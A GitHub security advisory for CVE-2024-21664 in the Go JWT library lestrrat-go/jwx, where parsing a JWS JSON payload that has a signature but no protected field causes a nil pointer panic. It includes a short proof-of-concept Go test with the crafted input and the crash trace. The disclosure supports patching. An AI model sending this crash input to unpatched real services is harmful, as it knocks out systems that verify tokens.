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Parsing JSON serialized payload without protected field can lead to segfault

Moderate severity GitHub Reviewed Published Jan 9, 2024 in lestrrat-go/jwx • Updated Jan 24, 2024

Package

gomod github.com/lestrrat-go/jwx (Go)

Affected versions

>= 1.0.8, < 1.2.28

Patched versions

1.2.28
gomod github.com/lestrrat-go/jwx/v2 (Go)
< 2.0.19
2.0.19

Description

Summary

Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.

Details

This seems to also affect other functions that calls Parse internally, like jws.Verify.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.

PoC

Reproducer:

package poc

import (
        "testing"

        "github.com/lestrrat-go/jwx/v2/jws"
)

func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{"signature": ""}`))
}

Result:

$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
        /usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
        /usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
        /usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
        /usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
        /usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
        /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
        /usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
        /usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL    poc     0.005s

Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.

References

@lestrrat lestrrat published to lestrrat-go/jwx Jan 9, 2024
Published to the GitHub Advisory Database Jan 9, 2024
Reviewed Jan 9, 2024
Published by the National Vulnerability Database Jan 9, 2024
Last updated Jan 24, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

EPSS score

0.056%
(24th percentile)

Weaknesses

CVE ID

CVE-2024-21664

GHSA ID

GHSA-pvcr-v8j8-j5q3

Source code

Credits

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